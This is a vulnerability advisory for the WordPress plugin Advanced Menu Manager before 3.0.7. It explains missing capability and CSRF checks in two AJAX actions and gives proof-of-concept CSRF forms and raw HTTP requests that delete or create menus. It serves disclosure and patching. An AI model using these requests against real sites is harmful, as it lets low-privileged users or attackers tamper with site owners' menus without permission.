Advanced Menu Manager < 3.0.7 – Unauthorised Menu Creation/Deletion

Description

The plugin is lacking any capability and CSRF checks in its my_action_delete_menu and my_action_create_menu_ajax AJAX actions, allowing any authenticated users (such as subscriber) to call them. Such attack could also be performed via a CSRF vector against any logged in user.

Note: v3.0.7 added CSRF checks only (with nonce only available to admins), however capability checks are still missing

Proof of Concept

1. To delete a menu:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="my_action_delete_menu" />
      <input type="hidden" name="delete_menu_id" value="17" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: [any user]
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

action=my_action_delete_menu&delete_menu_id=17

2. To create a new menu:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="my_action_create_menu_ajax" />
      <input type="hidden" name="new_menu_name" value="Test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 52
Connection: close
Cookie: [any user]

action=my_action_create_menu_ajax&new_menu_name=Test